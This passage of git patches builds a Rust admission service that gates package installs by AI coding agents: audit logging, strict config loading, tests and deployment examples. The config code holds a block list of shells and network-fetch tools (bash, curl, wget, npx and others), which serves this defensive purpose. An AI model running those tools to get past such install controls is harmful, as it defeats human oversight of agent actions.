removing query and fragment data. + pub normalized_source_uri: Option, + /// SHA-256 digest of remote source content when supplied. + pub source_content_sha256: Option, + /// SHA-256 digest of the structured command vector; raw argv is never persisted. + pub command_sha256: String, + /// Reviewed dependency-manifest digest supplied with the request. + pub manifest_sha256: String, + /// Content-addressed artifact coordinates with no command argument token. + pub artifacts: Vec, +} + +/// Stable audit persistence error that never exposes paths or untrusted payload data. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AuditError { + /// Serialization produced a record beyond the fixed audit-line budget. + RecordTooLarge, + /// JSON serialization failed. + Serialization, + /// The append-only sink could not durably persist the record. + StorageUnavailable, + /// The sink's internal serialization lock was poisoned. + LockUnavailable, + /// The system clock cannot produce a Unix timestamp. + ClockUnavailable, +} + +impl fmt::Display for AuditError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::RecordTooLarge => "audit record exceeds the bounded line size", + Self::Serialization => "audit record serialization failed", + Self::StorageUnavailable => "audit storage is unavailable", + Self::LockUnavailable => "audit writer lock is unavailable", + Self::ClockUnavailable => "audit timestamp is unavailable", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for AuditError {} + +/// Append-only audit persistence boundary used by HTTP admission before returning a decision. +pub trait AuditSink: Send + Sync { + /// Append and durably persist one complete audit record. + fn append(&self, record: &AuditRecord) -> Result<(), AuditError>; +} + +/// Append-only NDJSON file sink with serialized, flush-and-sync writes. +pub struct FileAuditSink { + path: PathBuf, + writer_lock: Mutex<()>, +} + +impl FileAuditSink { + /// Create a file-backed sink. The file is opened lazily on each append. + pub fn new(path: impl Into) -> Self { + Self { + path: path.into(), + writer_lock: Mutex::new(()), + } + } + + fn open_append_only(&self) -> io::Result { + OpenOptions::new() + .create(true) + .append(true) + .open(Path::new(&self.path)) + } +} + +impl AuditSink for FileAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let encoded = encode_record(record)?; + let _guard = self + .writer_lock + .lock() + .map_err(|_| AuditError::LockUnavailable)?; + let mut file = self + .open_append_only() + .map_err(|_| AuditError::StorageUnavailable)?; + file.write_all(&encoded) + .and_then(|_| file.write_all(b"\n")) + .and_then(|_| file.flush()) + .and_then(|_| file.sync_data()) + .map_err(|_| AuditError::StorageUnavailable) + } +} + +/// In-memory append-only sink for embedding and deterministic tests. +#[derive(Default)] +pub struct MemoryAuditSink { + records: Mutex>, +} + +impl MemoryAuditSink { + /// Return a snapshot of records in durable append order. + pub fn records(&self) -> Result, AuditError> { + self.records + .lock() + .map(|records| records.clone()) + .map_err(|_| AuditError::LockUnavailable) + } +} + +impl AuditSink for MemoryAuditSink { + fn append(&self, record: &AuditRecord) -> Result<(), AuditError> { + let _ = encode_record(record)?; + self.records + .lock() + .map_err(|_| AuditError::LockUnavailable)? + .push(record.clone()); + Ok(()) + } +} + +/// Build minimized audit evidence from an admission request and its deterministic decision. +pub fn build_audit_record(intent: &InstallIntent, decision: &AdmissionDecision) -> AuditRecord { + AuditRecord { + timestamp_unix_ms: unix_timestamp_ms().unwrap_or_default(), + request_id: intent.request_id.clone(), + actor_id: intent.actor_id.clone(), + workspace_id: intent.workspace_id.clone(), + operation: intent.operation.clone(), + decision: decision.decision, + reason_codes: decision.reason_codes.clone(), + policy_id: decision.policy_id.clone(), + policy_revision: decision.policy_revision.clone(), + source_kind: intent.source.kind, + normalized_source_uri: decision.normalized_source_uri.clone(), + source_content_sha256: intent.source.content_sha256.clone(), + command_sha256: decision.command_sha256.clone(), + manifest_sha256: intent.manifest_sha256.clone(), + artifacts: intent.artifacts.iter().map(AuditArtifact::from).collect(), + } +} + +fn encode_record(record: &AuditRecord) -> Result, AuditError> { + let encoded = serde_json::to_vec(record).map_err(|_| AuditError::Serialization)?; + if encoded.len() > MAX_AUDIT_LINE_BYTES { + return Err(AuditError::RecordTooLarge); + } + Ok(encoded) +} + +fn unix_timestamp_ms() -> Result { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|duration| duration.as_millis()) + .map_err(|_| AuditError::ClockUnavailable) +} From 8ae3f668f983bddc5b6aa8dd313d6a0ce00cb4f3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:33 -0700 Subject: [PATCH 007/247] feat(security): enable production audit serialization --- crates/agent-artifact-admission/Cargo.toml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index 71c26bc8..c3ff30cf 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -8,7 +8,5 @@ license = "MIT" [dependencies] ring = "0.17" serde = { version = "1", features = ["derive"] } -url = "2" - -[dev-dependencies] serde_json = "1" +url = "2" From b495bd9371f1e0bf7886562b8d93e5a8cb0c7b5d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:47 -0700 Subject: [PATCH 008/247] feat(security): expose append-only audit contract --- crates/agent-artifact-admission/src/lib.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 68aaa492..32533c35 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,8 +1,13 @@ //! Fail-closed package-install admission primitives for AI coding agents. +mod audit; mod model; mod policy; +pub use audit::{ + AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, + build_audit_record, +}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, From 94483e1c581c59820a814077b7c82ef6dcb6b3ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:39:51 -0700 Subject: [PATCH 009/247] test(security): lock admission config and credential contract --- .../tests/cli_contract.rs | 192 ++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cli_contract.rs diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs new file mode 100644 index 00000000..1d284829 --- /dev/null +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -0,0 +1,192 @@ +use std::fs; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, CredentialFile, + load_admin_token, load_config, parse_cli_args, validate_service_config, +}; + +fn digest(byte: char) -> String { + std::iter::repeat_n(byte, 64).collect() +} + +fn valid_policy() -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-08-29.1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: digest('a'), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: digest('b'), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }], + } +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: valid_policy(), + } +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-config-{label}-{}-{nonce}.json", + std::process::id() + )) +} + +#[test] +fn strict_cli_requires_exactly_one_config_and_credentials_path() { + let args = vec![ + "--config".to_string(), + "/etc/wardnet/admission.json".to_string(), + "--credentials".to_string(), + "/run/secrets/admission.json".to_string(), + ]; + let parsed = parse_cli_args(&args).expect("valid CLI must parse"); + assert_eq!(parsed.config_path, "/etc/wardnet/admission.json"); + assert_eq!(parsed.credentials_path, "/run/secrets/admission.json"); + + for invalid in [ + vec!["--config", "a"], + vec!["--credentials", "b"], + vec!["--config", "a", "--config", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials", "b", "--credentials", "c"], + vec!["--config", "a", "--credentials"], + vec!["--config", "a", "--credentials", "b", "extra"], + vec!["--config", "a", "--credentials", "b", "--unknown", "x"], + ] { + let invalid: Vec = invalid.into_iter().map(str::to_string).collect(); + assert!(parse_cli_args(&invalid).is_err(), "accepted invalid argv: {invalid:?}"); + } +} + +#[test] +fn service_config_rejects_unsafe_boundaries_and_policy_drift() { + let mut cases = Vec::new(); + + let mut config = valid_config(); + config.configuration_version = "2".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.bind_address = "0.0.0.0:8787".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 0; + cases.push(config); + + let mut config = valid_config(); + config.max_request_body_bytes = 2 * 1024 * 1024; + cases.push(config); + + let mut config = valid_config(); + config.audit_log_path.clear(); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables.push("npm".to_string()); + cases.push(config); + + let mut config = valid_config(); + config.policy.allowed_executables = vec!["bash".to_string()]; + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_manifests.push(config.policy.approved_manifests[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_manifests[0].sha256 = "ABC".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts.push(config.policy.approved_artifacts[0].clone()); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].version = "latest".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].registry_url = "http://registry.example".to_string(); + cases.push(config); + + let mut config = valid_config(); + config.policy.approved_artifacts[0].artifact_argument.clear(); + cases.push(config); + + for config in cases { + assert!(validate_service_config(&config).is_err(), "unsafe config validated: {config:?}"); + } + + assert!(validate_service_config(&valid_config()).is_ok()); +} + +#[test] +fn loaders_are_bounded_strict_and_do_not_accept_short_credentials() { + let config_path = temp_path("config"); + fs::write( + &config_path, + serde_json::to_vec(&valid_config()).expect("config must serialize"), + ) + .expect("config fixture must write"); + let loaded = load_config(&config_path).expect("valid config must load"); + assert_eq!(loaded, valid_config()); + + fs::write( + &config_path, + br#"{"configuration_version":"1","bind_address":"127.0.0.1:8787","max_request_body_bytes":1024,"audit_log_path":"audit.ndjson","policy":{"policy_id":"deny-all","policy_revision":"1","allowed_executables":[],"approved_manifests":[],"approved_artifacts":[]},"extra":true}"#, + ) + .expect("strict config fixture must write"); + assert!(load_config(&config_path).is_err()); + + let credential_path = temp_path("credentials"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + fs::write( + &credential_path, + serde_json::to_vec(&credential).expect("credential must serialize"), + ) + .expect("credential fixture must write"); + assert_eq!( + load_admin_token(&credential_path).expect("valid credential must load"), + credential.admin_token + ); + + fs::write(&credential_path, br#"{"admin_token":"short"}"#) + .expect("short credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + fs::write( + &credential_path, + serde_json::to_vec(&CredentialFile { + admin_token: "x".repeat(4097), + }) + .expect("oversized credential fixture must serialize"), + ) + .expect("oversized credential fixture must write"); + assert!(load_admin_token(&credential_path).is_err()); + + let _ = fs::remove_file(config_path); + let _ = fs::remove_file(credential_path); +} From 497fe088b7fd67ce6e2391697ae5e40eafe4fc90 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:41:46 -0700 Subject: [PATCH 010/247] feat(security): add strict admission config loading --- crates/agent-artifact-admission/src/config.rs | 294 ++++++++++++++++++ 1 file changed, 294 insertions(+) create mode 100644 crates/agent-artifact-admission/src/config.rs diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs new file mode 100644 index 00000000..3cb8b464 --- /dev/null +++ b/crates/agent-artifact-admission/src/config.rs @@ -0,0 +1,294 @@ +use std::collections::BTreeSet; +use std::fmt; +use std::fs::File; +use std::io::{self, Read}; +use std::net::SocketAddr; +use std::path::{Path, PathBuf}; + +use serde::{Deserialize, Serialize}; +use url::Url; + +use crate::{AdmissionPolicy, is_sha256_hex}; + +const MAX_CONFIG_FILE_BYTES: u64 = 1024 * 1024; +const MAX_CREDENTIAL_FILE_BYTES: u64 = 16 * 1024; +const MAX_REQUEST_BODY_BYTES: usize = 1024 * 1024; +const MAX_ADMIN_TOKEN_BYTES: usize = 4096; +const MIN_ADMIN_TOKEN_BYTES: usize = 32; + +/// Immutable process configuration for the agent-artifact admission service. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionServiceConfig { + /// Configuration schema version. Version `1` is the only supported revision. + pub configuration_version: String, + /// TCP listener address. The service accepts loopback addresses only. + pub bind_address: String, + /// Maximum accepted request body size in bytes. + pub max_request_body_bytes: usize, + /// Append-only NDJSON audit destination. + pub audit_log_path: String, + /// Reviewed admission policy applied to every install request. + pub policy: AdmissionPolicy, +} + +/// Strict credentials document loaded from a protected file. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct CredentialFile { + /// Bearer token required by the admission endpoint. + pub admin_token: String, +} + +/// Strict command-line arguments accepted by the standalone service. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct CliArgs { + /// Path to the reviewed service configuration document. + pub config_path: String, + /// Path to the protected credentials document. + pub credentials_path: String, +} + +/// Stable configuration failure that does not expose file content or secret material. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum ConfigError { + /// Command-line arguments are missing, duplicated, or unknown. + InvalidArguments, + /// A configuration or credentials file could not be read. + Io, + /// A bounded file exceeded its fixed byte budget. + FileTooLarge, + /// JSON was malformed or contained unknown fields. + InvalidJson, + /// Service configuration violated a fail-closed invariant. + InvalidConfiguration, + /// Credential material violated the token contract. + InvalidCredential, +} + +impl fmt::Display for ConfigError { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + let message = match self { + Self::InvalidArguments => "invalid admission service arguments", + Self::Io => "admission configuration is unavailable", + Self::FileTooLarge => "admission configuration exceeds its size limit", + Self::InvalidJson => "admission configuration JSON is invalid", + Self::InvalidConfiguration => "admission service configuration is unsafe", + Self::InvalidCredential => "admission credential is invalid", + }; + formatter.write_str(message) + } +} + +impl std::error::Error for ConfigError {} + +/// Parse the only supported CLI shape: one `--config` path and one `--credentials` path. +pub fn parse_cli_args(args: &[String]) -> Result { + let mut config_path = None; + let mut credentials_path = None; + let mut index = 0; + + while index < args.len() { + let flag = args[index].as_str(); + let Some(value) = args.get(index + 1) else { + return Err(ConfigError::InvalidArguments); + }; + if value.is_empty() || value.starts_with("--") { + return Err(ConfigError::InvalidArguments); + } + + match flag { + "--config" if config_path.is_none() => config_path = Some(value.clone()), + "--credentials" if credentials_path.is_none() => credentials_path = Some(value.clone()), + _ => return Err(ConfigError::InvalidArguments), + } + index += 2; + } + + match (config_path, credentials_path) { + (Some(config_path), Some(credentials_path)) => Ok(CliArgs { + config_path, + credentials_path, + }), + _ => Err(ConfigError::InvalidArguments), + } +} + +/// Load and validate a bounded, strict JSON service configuration document. +pub fn load_config(path: &Path) -> Result { + let bytes = read_bounded(path, MAX_CONFIG_FILE_BYTES)?; + let config: AdmissionServiceConfig = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_service_config(&config)?; + Ok(config) +} + +/// Load the bounded credentials document and return its validated bearer token. +pub fn load_admin_token(path: &Path) -> Result { + let bytes = read_bounded(path, MAX_CREDENTIAL_FILE_BYTES)?; + let credential: CredentialFile = + serde_json::from_slice(&bytes).map_err(|_| ConfigError::InvalidJson)?; + validate_admin_token(&credential.admin_token)?; + Ok(credential.admin_token) +} + +/// Validate all service and policy invariants before any listener is bound. +pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), ConfigError> { + if config.configuration_version != "1" { + return Err(ConfigError::InvalidConfiguration); + } + + let bind_address: SocketAddr = config + .bind_address + .parse() + .map_err(|_| ConfigError::InvalidConfiguration)?; + if !bind_address.ip().is_loopback() || bind_address.port() == 0 { + return Err(ConfigError::InvalidConfiguration); + } + + if config.max_request_body_bytes == 0 + || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES + { + return Err(ConfigError::InvalidConfiguration); + } + + if !valid_text_field(&config.audit_log_path, 4096) || config.audit_log_path.contains('\0') { + return Err(ConfigError::InvalidConfiguration); + } + + validate_policy(&config.policy) +} + +fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { + if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) { + return Err(ConfigError::InvalidConfiguration); + } + + let mut executables = BTreeSet::new(); + for executable in &policy.allowed_executables { + if !valid_executable(executable) + || is_permanently_forbidden_executable(executable) + || !executables.insert(executable.as_str()) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut manifests = BTreeSet::new(); + for manifest in &policy.approved_manifests { + if !valid_text_field(&manifest.workspace_id, 512) + || !is_sha256_hex(&manifest.sha256) + || !manifests.insert((manifest.workspace_id.as_str(), manifest.sha256.as_str())) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + let mut artifacts = BTreeSet::new(); + for artifact in &policy.approved_artifacts { + if !valid_text_field(&artifact.ecosystem, 64) + || !valid_text_field(&artifact.name, 512) + || !valid_pinned_version(&artifact.version) + || !valid_https_registry(&artifact.registry_url) + || !valid_text_field(&artifact.owner, 512) + || !is_sha256_hex(&artifact.sha256) + || !valid_text_field(&artifact.artifact_argument, 1024) + || !artifacts.insert(( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + )) + { + return Err(ConfigError::InvalidConfiguration); + } + } + + Ok(()) +} + +fn validate_admin_token(token: &str) -> Result<(), ConfigError> { + if token.len() < MIN_ADMIN_TOKEN_BYTES + || token.len() > MAX_ADMIN_TOKEN_BYTES + || !token.as_bytes().iter().all(|byte| (0x21..=0x7e).contains(byte)) + { + return Err(ConfigError::InvalidCredential); + } + Ok(()) +} + +fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { + !value.is_empty() + && value.len() <= maximum_bytes + && !value.chars().any(char::is_control) +} + +fn valid_executable(value: &str) -> bool { + valid_text_field(value, 128) + && !value.contains('/') + && !value.contains('\\') + && value + .bytes() + .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) +} + +fn is_permanently_forbidden_executable(executable: &str) -> bool { + matches!( + executable, + "sh" | "bash" + | "zsh" + | "cmd" + | "powershell" + | "pwsh" + | "curl" + | "wget" + | "aria2c" + | "ftp" + | "scp" + | "npx" + | "pnpx" + | "bunx" + ) +} + +fn valid_pinned_version(version: &str) -> bool { + if !valid_text_field(version, 256) { + return false; + } + let lowercase = version.to_ascii_lowercase(); + if matches!(lowercase.as_str(), "latest" | "main" | "master" | "head" | "stable" | "next") { + return false; + } + !version + .chars() + .any(|character| character.is_whitespace() || "*^~<>=,|".contains(character)) +} + +fn valid_https_registry(registry_url: &str) -> bool { + let Ok(url) = Url::parse(registry_url) else { + return false; + }; + url.scheme() == "https" + && url.host_str().is_some() + && url.username().is_empty() + && url.password().is_none() + && url.query().is_none() + && url.fragment().is_none() +} + +fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { + let file = File::open(PathBuf::from(path)).map_err(|_| ConfigError::Io)?; + let mut bytes = Vec::new(); + file.take(maximum_bytes + 1) + .read_to_end(&mut bytes) + .map_err(|_| ConfigError::Io)?; + if bytes.len() as u64 > maximum_bytes { + return Err(ConfigError::FileTooLarge); + } + Ok(bytes) +} + +#[allow(dead_code)] +fn _map_io_error(_: io::Error) -> ConfigError { + ConfigError::Io +} From cb790893f58320b5a4363cb0357cf250f5de9f80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:42:08 -0700 Subject: [PATCH 011/247] feat(security): expose strict admission configuration --- crates/agent-artifact-admission/src/lib.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 32533c35..023a1a85 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod audit; +mod config; mod model; mod policy; @@ -8,6 +9,10 @@ pub use audit::{ AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, build_audit_record, }; +pub use config::{ + AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, + parse_cli_args, validate_service_config, +}; pub use model::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, From 5f7f61cc2786cbc976a2cbccf20d4cffe84e13de Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:43:35 -0700 Subject: [PATCH 012/247] fix(ci): format strict admission configuration --- crates/agent-artifact-admission/src/config.rs | 31 +++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 3cb8b464..ffcd808e 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -1,9 +1,9 @@ use std::collections::BTreeSet; use std::fmt; use std::fs::File; -use std::io::{self, Read}; +use std::io::Read; use std::net::SocketAddr; -use std::path::{Path, PathBuf}; +use std::path::Path; use serde::{Deserialize, Serialize}; use url::Url; @@ -146,8 +146,7 @@ pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), Co return Err(ConfigError::InvalidConfiguration); } - if config.max_request_body_bytes == 0 - || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES + if config.max_request_body_bytes == 0 || config.max_request_body_bytes > MAX_REQUEST_BODY_BYTES { return Err(ConfigError::InvalidConfiguration); } @@ -160,7 +159,8 @@ pub fn validate_service_config(config: &AdmissionServiceConfig) -> Result<(), Co } fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { - if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) { + if !valid_text_field(&policy.policy_id, 256) || !valid_text_field(&policy.policy_revision, 256) + { return Err(ConfigError::InvalidConfiguration); } @@ -210,7 +210,10 @@ fn validate_policy(policy: &AdmissionPolicy) -> Result<(), ConfigError> { fn validate_admin_token(token: &str) -> Result<(), ConfigError> { if token.len() < MIN_ADMIN_TOKEN_BYTES || token.len() > MAX_ADMIN_TOKEN_BYTES - || !token.as_bytes().iter().all(|byte| (0x21..=0x7e).contains(byte)) + || !token + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) { return Err(ConfigError::InvalidCredential); } @@ -218,9 +221,7 @@ fn validate_admin_token(token: &str) -> Result<(), ConfigError> { } fn valid_text_field(value: &str, maximum_bytes: usize) -> bool { - !value.is_empty() - && value.len() <= maximum_bytes - && !value.chars().any(char::is_control) + !value.is_empty() && value.len() <= maximum_bytes && !value.chars().any(char::is_control) } fn valid_executable(value: &str) -> bool { @@ -256,7 +257,10 @@ fn valid_pinned_version(version: &str) -> bool { return false; } let lowercase = version.to_ascii_lowercase(); - if matches!(lowercase.as_str(), "latest" | "main" | "master" | "head" | "stable" | "next") { + if matches!( + lowercase.as_str(), + "latest" | "main" | "master" | "head" | "stable" | "next" + ) { return false; } !version @@ -277,7 +281,7 @@ fn valid_https_registry(registry_url: &str) -> bool { } fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { - let file = File::open(PathBuf::from(path)).map_err(|_| ConfigError::Io)?; + let file = File::open(path).map_err(|_| ConfigError::Io)?; let mut bytes = Vec::new(); file.take(maximum_bytes + 1) .read_to_end(&mut bytes) @@ -287,8 +291,3 @@ fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> } Ok(bytes) } - -#[allow(dead_code)] -fn _map_io_error(_: io::Error) -> ConfigError { - ConfigError::Io -} From 45e41f279f07610e2b10580a91b114d1d3e3e66a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:44:05 -0700 Subject: [PATCH 013/247] fix(ci): format admission config contract tests --- .../tests/cli_contract.rs | 24 +++++++++++++++---- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/tests/cli_contract.rs b/crates/agent-artifact-admission/tests/cli_contract.rs index 1d284829..717b7755 100644 --- a/crates/agent-artifact-admission/tests/cli_contract.rs +++ b/crates/agent-artifact-admission/tests/cli_contract.rs @@ -74,7 +74,10 @@ fn strict_cli_requires_exactly_one_config_and_credentials_path() { vec!["--config", "a", "--credentials", "b", "--unknown", "x"], ] { let invalid: Vec = invalid.into_iter().map(str::to_string).collect(); - assert!(parse_cli_args(&invalid).is_err(), "accepted invalid argv: {invalid:?}"); + assert!( + parse_cli_args(&invalid).is_err(), + "accepted invalid argv: {invalid:?}" + ); } } @@ -111,7 +114,10 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_manifests.push(config.policy.approved_manifests[0].clone()); + config + .policy + .approved_manifests + .push(config.policy.approved_manifests[0].clone()); cases.push(config); let mut config = valid_config(); @@ -119,7 +125,10 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_artifacts.push(config.policy.approved_artifacts[0].clone()); + config + .policy + .approved_artifacts + .push(config.policy.approved_artifacts[0].clone()); cases.push(config); let mut config = valid_config(); @@ -131,11 +140,16 @@ fn service_config_rejects_unsafe_boundaries_and_policy_drift() { cases.push(config); let mut config = valid_config(); - config.policy.approved_artifacts[0].artifact_argument.clear(); + config.policy.approved_artifacts[0] + .artifact_argument + .clear(); cases.push(config); for config in cases { - assert!(validate_service_config(&config).is_err(), "unsafe config validated: {config:?}"); + assert!( + validate_service_config(&config).is_err(), + "unsafe config validated: {config:?}" + ); } assert!(validate_service_config(&valid_config()).is_ok()); From 5f41e1e46aeb4a8568f6e936b8340ccd914a5fd6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:46:10 -0700 Subject: [PATCH 014/247] feat(security): add deny-all admission deployment example --- deploy/agent-artifact-admission.example.json | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 deploy/agent-artifact-admission.example.json diff --git a/deploy/agent-artifact-admission.example.json b/deploy/agent-artifact-admission.example.json new file mode 100644 index 00000000..d22c6ab7 --- /dev/null +++ b/deploy/agent-artifact-admission.example.json @@ -0,0 +1,13 @@ +{ + "configuration_version": "1", + "bind_address": "127.0.0.1:8787", + "max_request_body_bytes": 65536, + "audit_log_path": "/var/lib/wardnet/agent-artifact-admission.ndjson", + "policy": { + "policy_id": "deny-all", + "policy_revision": "example-v1", + "allowed_executables": [], + "approved_manifests": [], + "approved_artifacts": [] + } +} From afc535c32251193751238e45cd102909bb10eaee Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:46:25 -0700 Subject: [PATCH 015/247] feat(security): publish admission credential schema --- ...artifact-admission.credentials.schema.json | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 deploy/agent-artifact-admission.credentials.schema.json diff --git a/deploy/agent-artifact-admission.credentials.schema.json b/deploy/agent-artifact-admission.credentials.schema.json new file mode 100644 index 00000000..4537fa8e --- /dev/null +++ b/deploy/agent-artifact-admission.credentials.schema.json @@ -0,0 +1,20 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://contextualwisdomlab.github.io/wardnet/schemas/agent-artifact-admission.credentials.schema.json", + "title": "Wardnet Agent Artifact Admission Credentials", + "description": "Strict credentials document for the loopback-only agent artifact admission service. Keep this document outside source control and restrict filesystem access to the service account.", + "type": "object", + "additionalProperties": false, + "required": [ + "admin_token" + ], + "properties": { + "admin_token": { + "type": "string", + "minLength": 32, + "maxLength": 4096, + "pattern": "^[!-~]{32,4096}$", + "description": "Printable ASCII bearer token presented in X-Admin-Token. Do not log or persist the raw value." + } + } +} From 6405a9914f2f3827f6eef43f5d621b5cbb1fe78c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 29 Aug 2026 05:01:36 -0700 Subject: [PATCH 016/247] test(security): define authenticated admission API contract --- .../agent-admission-lock-refresh.yml | 37 ++ crates/agent-artifact-admission/Cargo.toml | 5 + .../tests/http_contract.rs | 317 ++++++++++++++++++ 3 files changed, 359 insertions(+) create mode 100644 .github/workflows/agent-admission-lock-refresh.yml create mode 100644 crates/agent-artifact-admission/tests/http_contract.rs diff --git a/.github/workflows/agent-admission-lock-refresh.yml b/.github/workflows/agent-admission-lock-refresh.yml new file mode 100644 index 00000000..3d6af80e --- /dev/null +++ b/.github/workflows/agent-admission-lock-refresh.yml @@ -0,0 +1,37 @@ +name: Refresh agent admission lockfile + +on: + push: + branches: + - feat/agent-artifact-admission + paths: + - crates/agent-artifact-admission/Cargo.toml + - .github/workflows/agent-admission-lock-refresh.yml + +permissions: + contents: write + +jobs: + refresh-lockfile: + if: github.actor != 